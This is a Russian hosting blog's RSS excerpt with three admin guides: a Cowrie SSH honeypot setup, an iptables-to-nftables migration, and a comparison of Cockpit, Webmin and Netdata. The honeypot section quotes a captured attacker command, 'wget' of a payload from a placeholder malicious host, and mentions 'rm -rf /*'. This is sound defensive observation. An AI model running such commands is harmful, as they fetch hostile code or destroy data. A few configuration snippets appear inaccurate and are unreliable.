<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Honeypot</th><th>Что имитирует</th><th>Сложность установки</th><th>Особенности</th></tr></thead><tbody><tr><td>Cowrie</td><td>SSH, Telnet</td><td>Средняя</td><td>Собирает команды, IP, даже имена файлов</td></tr><tr><td>T-Pot</td><td>Множественные протоколы</td><td>Высокая</td><td>Готовый стек honeypot’ов, красивая визуализация</td></tr><tr><td>Kippo (устарел)</td><td>SSH</td><td>Низкая</td><td>Предшественник Cowrie</td></tr><tr><td>Honeyd</td><td>Сетевой трафик</td><td>Сложная</td><td>Эмуляция разных ОС, на уровне <a href="https://cloudvps.by/community/docs/glossarij/terminy/tcp/" data-internallinksmanager029f6b8e52c="222" title="TCP (Transmission Control Protocol)">TCP</a>/IP</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Я остановилась на <strong>Cowrie</strong>, потому что он прост, работает на Python, легко логирует всё в текст, и его легко обновлять. А главное — идеально подходит для <strong>SSH honeypot</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка Cowrie honeypot на VPS: пошагово</h2>



<h4 class="wp-block-heading">1. Настроить изолированную среду</h4>



<p class="wp-block-paragraph">Я создала новый VPS (на Ubuntu 22.04), отключила все ненужные порты, кроме 22, и&#8230; перенесла реальный SSH на порт 2222:</p>



<pre class="wp-block-code"><code>sudo nano /etc/ssh/sshd_config
# Меняем:
Port 2222
sudo systemctl restart ssh
</code></pre>



<p class="wp-block-paragraph">Теперь порт 22 свободен — туда и посадим ловушку.</p>



<h4 class="wp-block-heading">2. Установка зависимостей:</h4>



<pre class="wp-block-code"><code>sudo apt update
sudo apt install git python3-venv libssl-dev libffi-dev build-essential libpython3-dev -y
</code></pre>



<h4 class="wp-block-heading">3. Клонирование Cowrie:</h4>



<pre class="wp-block-code"><code>git clone <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt
</code></pre>



<h4 class="wp-block-heading">4. Настройка и запуск:</h4>



<pre class="wp-block-code"><code>cp etc/cowrie.cfg.dist etc/cowrie.cfg
# В конфиге можно изменить фейковые логины/пароли, логирование и т.д.
bin/cowrie start
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что я узнала за первую неделю</h2>



<p class="wp-block-paragraph">Через сутки после запуска honeypot начал собирать логины:</p>



<ul class="wp-block-list">
<li>admin / admin</li>



<li>root / toor</li>



<li>user / 123456</li>
</ul>



<p class="wp-block-paragraph">Боты пытались установить майнеры, качать скрипты с Pastebin, делать <code>curl</code> и <code>wget</code> на IP-шники из азиатских подсетей. Один &#8220;гость&#8221; даже ввёл <code>rm -rf /*</code> — забавно, ведь Cowrie перехватывает такие команды, не давая им навредить.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Как логируются команды</h2>



<p class="wp-block-paragraph">Cowrie записывает всё в <code>var/log/cowrie</code>:</p>



<ul class="wp-block-list">
<li><code>cowrie.log</code> — общие события</li>



<li><code>tty/</code> — эмуляция терминала (прямо как видеозапись)</li>



<li><code>downloads/</code> — файлы, которые пытались загрузить</li>
</ul>



<p class="wp-block-paragraph">Вот пример команды злоумышленника:</p>



<pre class="wp-block-code"><code>2025-08-14T21:53:12+0000 &#91;SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,521,10.9.6.22] CMD: wget http://malicious-ip/payload.sh
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Безопасность honeypot-сервера</h2>



<p class="wp-block-paragraph">Чтобы honeypot не стал сам жертвой:</p>



<ul class="wp-block-list">
<li>Я установила <code>iptables</code> и разрешила только порты 22, 2222</li>



<li>Отключила исходящие соединения через <code>ufw deny out</code></li>



<li>Настроила ежедневную очистку логов через <code>logrotate</code></li>



<li>В случае взлома — VPS можно просто пересоздать</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Можно ли ловить DDoS или ботнеты?</h2>



<p class="wp-block-paragraph">На мой взгляд — <strong>не стоит пытаться перехватить ботнеты или вмешиваться в работу атакующих</strong>. Honeypot — это наблюдательный инструмент, а не платформа для &#8220;контратак&#8221;. Лучше просто сохранять информацию, изучать поведение и повышать защиту.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Итого: стоит ли запускать honeypot на VPS?</h2>



<p class="wp-block-paragraph">Если вы интересуетесь безопасностью, хотите научиться <strong>анализировать атаки</strong>, работать с логами и понять, как выглядят &#8220;черные&#8221; сканеры интернета — да, стоит. Это дешево, увлекательно и очень познавательно.</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Настройка firewall через nftables вместо iptables: личный опыт перехода и тонкости конфигурации</title>
		<link>https://cloudvps.by/community/nastrojka-firewall-cherez-nftables-vmesto-iptables/</link>
					<comments>https://cloudvps.by/community/nastrojka-firewall-cherez-nftables-vmesto-iptables/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Tue, 26 Aug 2025 15:26:04 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4315</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-firewall-cherez-nftables-vmesto-iptables/">Настройка firewall через nftables вместо iptables: личный опыт перехода и тонкости конфигурации</a>">%POSTTITLE%</a></p>
<p>Если вы когда-то администрировали сервер на Linux, то наверняка сталкивались с iptables. Этот инструмент годами был стандартом для настройки firewall в Linux, но с выходом новых дистрибутивов вроде Debian 12 или Ubuntu 22.04 постепенно на его место приходит nftables — более гибкое и современное решение. Я как раз недавно прошла весь путь миграции со «старичка» [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-firewall-cherez-nftables-vmesto-iptables/">Настройка firewall через nftables вместо iptables: личный опыт перехода и тонкости конфигурации</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">Если вы когда-то администрировали сервер на Linux, то наверняка сталкивались с iptables. Этот инструмент годами был стандартом для настройки <a href="https://cloudvps.by/community/docs/glossarij/terminy/firewall/" data-internallinksmanager029f6b8e52c="198" title="Firewall (Брандмауэр)">firewall</a> в Linux, но с выходом новых дистрибутивов вроде Debian 12 или Ubuntu 22.04 постепенно на его место приходит <strong>nftables</strong> — более гибкое и современное решение. Я как раз недавно прошла весь путь миграции со «старичка» iptables на nftables и хочу поделиться опытом — по-человечески, без заумных инструкций, но с работающими командами и нюансами.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Почему iptables устарел — и что предлагает nftables</h2>



<p class="wp-block-paragraph">Сначала немного теории, чтобы было проще ориентироваться. <code>iptables</code> основан на фреймворке netfilter и давно используется для управления трафиком. Однако у него есть ряд ограничений:</p>



<ul class="wp-block-list">
<li>запутанный синтаксис;</li>



<li>невозможность объединять правила в логические блоки;</li>



<li>разные утилиты (<code>iptables</code>, <code>ip6tables</code>, <code>ebtables</code>, <code>arptables</code>) для разных протоколов.</li>
</ul>



<p class="wp-block-paragraph"><strong>nftables</strong>, наоборот, предоставляет унифицированный подход и один бинарник <code>nft</code>, которым можно управлять всеми типами фильтрации. Он быстрее, мощнее и позволяет писать конфигурации более понятно.</p>



<p class="wp-block-paragraph">В новых системах по умолчанию уже используется режим <strong>iptables-nft</strong>, то есть iptables-команды проксируются на движок nftables. Однако это не совсем нативно — всё равно лучше перейти полностью на <strong>чистый nftables</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Как понять, какой движок используется сейчас</h2>



<p class="wp-block-paragraph">Запустите:</p>



<pre class="wp-block-code"><code>iptables -V
</code></pre>



<p class="wp-block-paragraph">Если вы видите в ответе что-то вроде <code>iptables v1.8.9 (nf_tables)</code>, значит, используется режим <strong>iptables-nft</strong>, а не классический iptables. Это первый признак, что можно (и стоит) мигрировать.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка и активация nftables (Ubuntu/Debian)</h2>



<p class="wp-block-paragraph">На Ubuntu 22.04, Debian 12 и большинстве свежих систем <code>nftables</code> уже предустановлен. Но на всякий случай:</p>



<pre class="wp-block-code"><code>sudo apt update
sudo apt install nftables
</code></pre>



<p class="wp-block-paragraph">Активируем:</p>



<pre class="wp-block-code"><code>sudo systemctl enable nftables
sudo systemctl start nftables
</code></pre>



<p class="wp-block-paragraph">Проверим статус:</p>



<pre class="wp-block-code"><code>sudo systemctl status nftables
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Базовая настройка firewall через nftables</h2>



<p class="wp-block-paragraph">Создаём конфигурационный файл, например <code>/etc/nftables.conf</code>:</p>



<pre class="wp-block-code"><code>#!/usr/sbin/nft -f

flush ruleset

table inet filter {
  chain input {
    type filter hook input priority 0;
    policy drop;

    # Разрешаем loopback
    iif lo accept

    # Разрешаем уже установленные соединения
    ct state established,related accept

    # Разрешаем <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a>
    <a href="https://cloudvps.by/community/docs/glossarij/terminy/tcp/" data-internallinksmanager029f6b8e52c="222" title="TCP (Transmission Control Protocol)">tcp</a> dport 22 accept

    # Разрешаем HTTP и <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">HTTPS</a>
    tcp dport {80, 443} accept
  }

  chain forward {
    type filter hook forward priority 0;
    policy drop;
  }

  chain output {
    type filter hook output priority 0;
    policy accept;
  }
}
</code></pre>



<p class="wp-block-paragraph">Применяем правила:</p>



<pre class="wp-block-code"><code>sudo nft -f /etc/nftables.conf
</code></pre>



<p class="wp-block-paragraph">Сохраняем для автозапуска:</p>



<pre class="wp-block-code"><code>sudo netfilter-persistent save
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Таблица сравнения iptables vs nftables</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Характеристика</th><th>iptables</th><th>nftables</th></tr></thead><tbody><tr><td>Синтаксис</td><td>Разрозненный</td><td>Унифицированный</td></tr><tr><td>Производительность</td><td>Ниже</td><td>Выше</td></tr><tr><td>Поддержка <a href="https://cloudvps.by/community/docs/glossarij/terminy/ipv6/" data-internallinksmanager029f6b8e52c="206" title="IPv6 (Internet Protocol version 6)">IPv6</a></td><td>Через отдельные утилиты</td><td>Встроенная</td></tr><tr><td>Работа с <a href="https://cloudvps.by/community/docs/glossarij/terminy/nat/" data-internallinksmanager029f6b8e52c="207" title="NAT (Network Address Translation)">NAT</a>, фильтрацией, логами</td><td>Через отдельные chains</td><td>Через unified table</td></tr><tr><td>Поддержка atomic операций</td><td>Нет</td><td>Да</td></tr><tr><td>Совместимость с iptables</td><td>Да (<code>iptables-nft</code>)</td><td>Да, можно мигрировать</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Полезные команды nftables</h2>



<p class="wp-block-paragraph">Вот список базовых и часто используемых команд:</p>



<pre class="wp-block-code"><code># Показать текущие правила
sudo nft list ruleset

# Показать таблицы
sudo nft list tables

# Добавить правило "вручную" (например, открыть <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">порт</a> 8080)
sudo nft add rule inet filter input tcp dport 8080 accept

# Удалить правило
sudo nft delete rule inet filter input handle &lt;номер&gt;

# Сбросить все правила
sudo nft flush ruleset
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Особенности и подводные камни</h2>



<ol class="wp-block-list">
<li><strong>iptables dport не работает напрямую с nft</strong> — вместо этого используйте <code>tcp dport</code>.</li>



<li>Убедитесь, что у вас <strong>удалён iptables-persistent</strong>, иначе он может конфликтовать.</li>



<li>Не путайте <code>nft list</code> с <code>nft list rules</code> и <code>nft list ruleset</code> — последняя команда показывает всё сразу, и это удобно.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Личный опыт</h2>



<p class="wp-block-paragraph">Когда я впервые перешла на <code>nftables</code>, больше всего времени ушло на то, чтобы <strong>понять логику chains</strong> и <strong>осознанно сформировать policy</strong>. Но когда я разобралась — это оказалось в разы удобнее, чем iptables. Особенно удобно, что можно писать правила в логических блоках, группировать порты, использовать <code>sets</code>, и всё это читается, как человеческий текст.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Итого&#8230;</h2>



<p class="wp-block-paragraph"><code>nftables</code> — это современный способ конфигурирования firewall в Linux. Если вы всё ещё сидите на iptables (или работаете в <code>iptables-nft</code> режиме), я очень рекомендую хотя бы протестировать чистую конфигурацию на <code>nftables</code>. Она логичнее, быстрее и перспективнее. Особенно на новых <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> с Debian 12, Ubuntu 22.04 и выше.</p>



<p class="wp-block-paragraph"></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/nastrojka-firewall-cherez-nftables-vmesto-iptables/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Сравнение Web UI для VPS: Cockpit, Webmin и Netdata — выбираем удобную оболочку</title>
		<link>https://cloudvps.by/community/sravnenie-web-ui-dlya-vps-cockpit-webmin-i-netdata/</link>
					<comments>https://cloudvps.by/community/sravnenie-web-ui-dlya-vps-cockpit-webmin-i-netdata/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Wed, 20 Aug 2025 15:50:51 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4305</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sravnenie-web-ui-dlya-vps-cockpit-webmin-i-netdata/">Сравнение Web UI для VPS: Cockpit, Webmin и Netdata — выбираем удобную оболочку</a>">%POSTTITLE%</a></p>
<p>Когда я только начала работать с VPS, большую часть задач выполняла в консоли. Это быстро, гибко, но, признаюсь честно, далеко не всегда удобно — особенно если нужно мониторить ресурсы в реальном времени или управлять несколькими службами на сервере. Так я и начала искать Web UI для VPS, которые можно настроить под себя. Сегодня расскажу о [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sravnenie-web-ui-dlya-vps-cockpit-webmin-i-netdata/">Сравнение Web UI для VPS: Cockpit, Webmin и Netdata — выбираем удобную оболочку</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">Когда я только начала работать с <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>, большую часть задач выполняла в консоли. Это быстро, гибко, но, признаюсь честно, далеко не всегда удобно — особенно если нужно мониторить ресурсы в реальном времени или управлять несколькими службами на сервере. Так я и начала искать <strong>Web UI для VPS</strong>, которые можно настроить под себя.</p>



<p class="wp-block-paragraph">Сегодня расскажу о трёх решениях, которые мне довелось тестировать и использовать в продакшене: <strong>Cockpit</strong>, <strong>Webmin</strong> и <strong>Netdata</strong>. У каждого свои плюсы и минусы — и я поделюсь, в каких случаях они реально упрощают жизнь.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Cockpit: минимализм и стабильность от Red Hat</h2>



<p class="wp-block-paragraph">Cockpit — это легковесная и очень продуманная <strong>web-консоль</strong> для управления сервером. Разрабатывается <strong>Cockpit Project</strong>, а основная идея — упростить жизнь тем, кто работает с systemd, журналами, сетями и <a href="https://cloudvps.by/community/docs/glossarij/terminy/raid/" data-internallinksmanager029f6b8e52c="216" title="RAID (Redundant Array of Independent Disks)">RAID</a>.</p>



<p class="wp-block-paragraph">Установка на Ubuntu:</p>



<pre class="wp-block-code"><code>sudo apt install cockpit -y
sudo systemctl enable --now cockpit.socket
</code></pre>



<p class="wp-block-paragraph">После этого вы заходите на <code><a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://<a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>:9090</code> и работаете в браузере. Интерфейс очень чистый, похож на панели в Fedora.</p>



<p class="wp-block-paragraph"><strong>Где использую Cockpit</strong>:</p>



<ul class="wp-block-list">
<li>на VPS, где важно мониторить systemd-сервисы;</li>



<li>для управления виртуальными машинами через <strong>Cockpit Virtual Machines</strong>;</li>



<li>для настройки RAID или проверки состояния дисков через <strong>Cockpit Storage</strong>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Плюсы:</strong></p>



<ul class="wp-block-list">
<li>родной UI для systemd (всё в одном месте);</li>



<li>модульность: можно доустановить плагины;</li>



<li>поддержка <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a>-подключений к другим серверам.</li>
</ul>



<p class="wp-block-paragraph"><strong>Минусы:</strong></p>



<ul class="wp-block-list">
<li>базовая функциональность из коробки не всегда достаточно широкая;</li>



<li><strong>Cockpit Web Console</strong> ориентирована на опытных пользователей — новичкам может показаться сухой.</li>
</ul>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SEO-ключи: <em>cockpit server</em>, <em>cockpit software</em>, <em>cockpit alternative</em>, <em>cockpit vs webmin</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Webmin: классика sysadmin-интерфейсов</h2>



<p class="wp-block-paragraph"><strong>Webmin</strong> — это своего рода &#8220;старичок&#8221; среди <strong>Web UI для Linux VPS</strong>. И да, у него олдскульный интерфейс (сразу вспоминаются 2000-е), но зато невероятная гибкость.</p>



<p class="wp-block-paragraph">Установка на Ubuntu:</p>



<pre class="wp-block-code"><code>wget http://www.webmin.com/download/deb/webmin-current.deb
sudo dpkg -i webmin-current.deb
sudo apt --fix-broken install
</code></pre>



<p class="wp-block-paragraph">Webmin открывается на порту 10000 (<code>https://IP:10000</code>). Интерфейс полностью настраиваемый — можно управлять почти всем: пользователями, Apache, Cron, <a href="https://cloudvps.by/community/docs/glossarij/terminy/dhcp/" data-internallinksmanager029f6b8e52c="331" title="DHCP (Dynamic Host Configuration Protocol)">DHCP</a>, и даже настроить <a href="https://cloudvps.by/community/docs/glossarij/terminy/firewall/" data-internallinksmanager029f6b8e52c="198" title="Firewall (Брандмауэр)">firewall</a>.</p>



<p class="wp-block-paragraph"><strong>Когда я выбираю Webmin:</strong></p>



<ul class="wp-block-list">
<li>при работе с <a href="https://cloudvps.by/community/docs/glossarij/terminy/dns/" data-internallinksmanager029f6b8e52c="199" title="DNS (Domain Name System)">DNS</a>-серверами;</li>



<li>если проект старый и там уже есть поддержка Webmin;</li>



<li>когда нужно много тонкой настройки.</li>
</ul>



<p class="wp-block-paragraph"><strong>Плюсы:</strong></p>



<ul class="wp-block-list">
<li>просто безумно много настроек;</li>



<li>есть поддержка LXC, <a href="https://cloudvps.by/community/docs/glossarij/terminy/openvpn/" data-internallinksmanager029f6b8e52c="300" title="OpenVPN">OpenVPN</a>, PostgreSQL;</li>



<li>настраиваемый <strong>dashboard</strong>, расширяемый за счёт модулей.</li>
</ul>



<p class="wp-block-paragraph"><strong>Минусы:</strong></p>



<ul class="wp-block-list">
<li>интерфейс — на любителя;</li>



<li>с некоторых версий Ubuntu бывают конфликты с PAM или sudoers.</li>
</ul>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SEO-ключи: <em>webmin vs cockpit</em>, <em>cpanel free</em>, <em>cpanel alternative</em>, <em>cpanel бесплатно</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Netdata: визуализация, которую не хочется выключать</h2>



<p class="wp-block-paragraph">Если тебе важно именно <strong>наблюдать</strong>, а не настраивать — смело ставь Netdata. Это не совсем классическая панель управления, а скорей <strong>реальный-time <a href="https://cloudvps.by/community/docs/glossarij/terminy/grafana/" data-internallinksmanager029f6b8e52c="356" title="Grafana (Cвободная программная система визуализации данных)">мониторинг</a></strong> всех процессов и ресурсов на сервере. От CPU до состояния MySQL или nginx — всё можно визуализировать.</p>



<p class="wp-block-paragraph">Установка (одной командой):</p>



<pre class="wp-block-code"><code>bash &lt;(curl -Ss https://my-netdata.io/kickstart.sh)
</code></pre>



<p class="wp-block-paragraph">Дальше открываешь браузер по порту 19999 (<code>http://IP:19999</code>) — и зависаешь. Реально. Очень красиво, информативно, а главное — удобно.</p>



<p class="wp-block-paragraph"><strong>Мой кейс с Netdata:</strong></p>



<ul class="wp-block-list">
<li>использую для мониторинга прод-серверов;</li>



<li>отправляю алерты через Telegram Webhook;</li>



<li>подключаю к Grafana через <a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">API</a>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Плюсы:</strong></p>



<ul class="wp-block-list">
<li>мгновенный сбор метрик;</li>



<li>красивая визуализация;</li>



<li>лёгкая настройка алертов и уведомлений.</li>
</ul>



<p class="wp-block-paragraph"><strong>Минусы:</strong></p>



<ul class="wp-block-list">
<li>нельзя полноценно управлять сервисами;</li>



<li>кушает ресурсы, особенно при большом числе плагинов.</li>
</ul>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SEO-ключи: <em><a href="https://cloudvps.by/community/docs/glossarij/terminy/monitoring/" data-internallinksmanager029f6b8e52c="231" title="Monitoring (Мониторинг)">monitoring</a> vps</em>, <em>netdata vps</em>, <em>grafana alternative</em>, <em>system health vps</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Личный вывод</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Характеристика</th><th>Cockpit</th><th>Webmin</th><th>Netdata</th></tr></thead><tbody><tr><td>Интерфейс</td><td>Чистый, минимализм</td><td>Старый, перегруженный</td><td>Современный, интерактивный</td></tr><tr><td>Мониторинг ресурсов</td><td>Да</td><td>Частично</td><td>Отличный real-time</td></tr><tr><td>Управление сервисами</td><td>Отлично (через systemd)</td><td>Да, через интерфейс</td><td>Нет</td></tr><tr><td>Безопасность</td><td>SELinux, SSH login</td><td>Sudo, PAM</td><td>Только просмотр</td></tr><tr><td>Расширяемость</td><td>Плагины</td><td>Модули</td><td>API и алерты</td></tr><tr><td>Подходит новичкам?</td><td>Да, с небольшим опытом</td><td>Нет</td><td>Да</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">В каких проектах что использовать</h2>



<ul class="wp-block-list">
<li>Если у тебя <strong>несколько VPS</strong> и нужно быстро мониторить и перезапускать сервисы — <strong>Cockpit</strong> идеально подходит.</li>



<li>Если тебе нужно <strong>управлять всем через браузер</strong> и ты не боишься старого интерфейса — ставь <strong>Webmin</strong>.</li>



<li>А вот если ты хочешь <strong>видеть, что происходит на сервере прямо сейчас</strong>, да ещё с графиками и алертами — <strong>Netdata</strong> твой выбор.</li>
</ul>



<p class="wp-block-paragraph">Я, честно, сейчас держу <strong>все три</strong> на разных серверах: Cockpit — для микросервисов на k3s, Webmin — для старых проектов с Apache, Netdata — для постоянного мониторинга своего основного VPS. Так спокойнее спится <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Как настроить авторизацию и безопасность в Cockpit, Webmin и Netdata</h2>



<h4 class="wp-block-heading"><strong>Cockpit</strong></h4>



<p class="wp-block-paragraph">По умолчанию <a href="https://cloudvps.by/community/docs/glossarij/terminy/oauth-2-0/" data-internallinksmanager029f6b8e52c="378" title="OAuth 2.0">авторизация</a> идёт через системного пользователя Linux. Чтобы пользователь мог войти, он должен иметь право работать с systemd и journal.</p>



<p class="wp-block-paragraph">Чтобы создать нового пользователя с нужными правами:</p>



<pre class="wp-block-code"><code>sudo useradd -m cockpituser
sudo passwd cockpituser
sudo usermod -aG sudo cockpituser
</code></pre>



<p class="wp-block-paragraph"><strong>Бонус:</strong> можно использовать SSH-ключи для авторизации, без пароля. Просто добавляешь <code>~/.ssh/authorized_keys</code>.</p>



<p class="wp-block-paragraph"><strong>Важно:</strong> если хочешь запретить <a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a>, правь <code>/etc/cockpit/cockpit.conf</code>:</p>



<pre class="wp-block-code"><code>&#91;WebService]
LoginTo = cockpituser
</code></pre>



<h4 class="wp-block-heading"><strong>Webmin</strong></h4>



<p class="wp-block-paragraph">Webmin имеет собственную систему пользователей, но может работать и через PAM.</p>



<ul class="wp-block-list">
<li>Настроить пользователей можно в разделе <strong>Webmin → Webmin Users</strong>.</li>



<li>Там же задаются права, например, только доступ к &#8220;Apache Webserver&#8221; или &#8220;SSH Login&#8221;.</li>
</ul>



<p class="wp-block-paragraph">Если хочешь авторизацию через PAM (удобно для LDAP или централизованной авторизации):</p>



<pre class="wp-block-code"><code>/etc/webmin/miniserv.conf
</code></pre>



<p class="wp-block-paragraph">Ищешь строчку:</p>



<pre class="wp-block-code"><code>auth=unix
</code></pre>



<p class="wp-block-paragraph">или меняешь на:</p>



<pre class="wp-block-code"><code>auth=pam
</code></pre>



<h4 class="wp-block-heading"><strong>Netdata</strong></h4>



<p class="wp-block-paragraph">Netdata не имеет встроенной авторизации из коробки (если не использовать Netdata Cloud), но можно настроить <strong><a href="https://cloudvps.by/community/docs/glossarij/terminy/reverse-proxy/" data-internallinksmanager029f6b8e52c="248" title="Reverse Proxy (Обратный прокси)">reverse proxy</a> с авторизацией</strong> через nginx:</p>



<pre class="wp-block-code"><code>location / {
    proxy_pass http://localhost:19999;
    auth_basic "Restricted Content";
    auth_basic_user_file /etc/nginx/.htpasswd;
}
</code></pre>



<p class="wp-block-paragraph">Создай файл паролей:</p>



<pre class="wp-block-code"><code>sudo apt install apache2-utils
htpasswd -c /etc/nginx/.htpasswd youruser
</code></pre>



<p class="wp-block-paragraph">И не забудь перезапустить nginx.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Как подключить Netdata к Grafana</h2>



<p class="wp-block-paragraph">Если у тебя уже есть Grafana на VPS (или хочешь установить), ты можешь использовать Netdata в роли <strong>source</strong>:</p>



<h4 class="wp-block-heading">1. Установка Grafana:</h4>



<pre class="wp-block-code"><code>sudo apt install -y apt-transport-https
sudo apt install grafana
sudo systemctl enable --now grafana-server
</code></pre>



<h4 class="wp-block-heading">2. Добавление Netdata как Prometheus endpoint</h4>



<p class="wp-block-paragraph">В Netdata включи <a href="https://cloudvps.by/community/docs/glossarij/terminy/prometheus/" data-internallinksmanager029f6b8e52c="355" title="Prometheus (База данных временных рядов)">Prometheus</a>-совместимый экс<a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">порт</a>:</p>



<pre class="wp-block-code"><code>cd /etc/netdata
sudo nano netdata.conf
</code></pre>



<p class="wp-block-paragraph">Найди блок <code>[backend]</code>, включи экспорт:</p>



<pre class="wp-block-code"><code>enabled = yes
data source = average
destination = prometheus
</code></pre>



<h4 class="wp-block-heading">3. Добавление источника в Grafana:</h4>



<ul class="wp-block-list">
<li>Зайди в Grafana (<code>http://IP:3000</code>)</li>



<li>В разделе <strong>Settings → Data Sources → Add data source</strong></li>



<li>Выбери <strong>Prometheus</strong></li>



<li>Укажи URL: <code>http://localhost:19999/api/v1/allmetrics</code></li>
</ul>



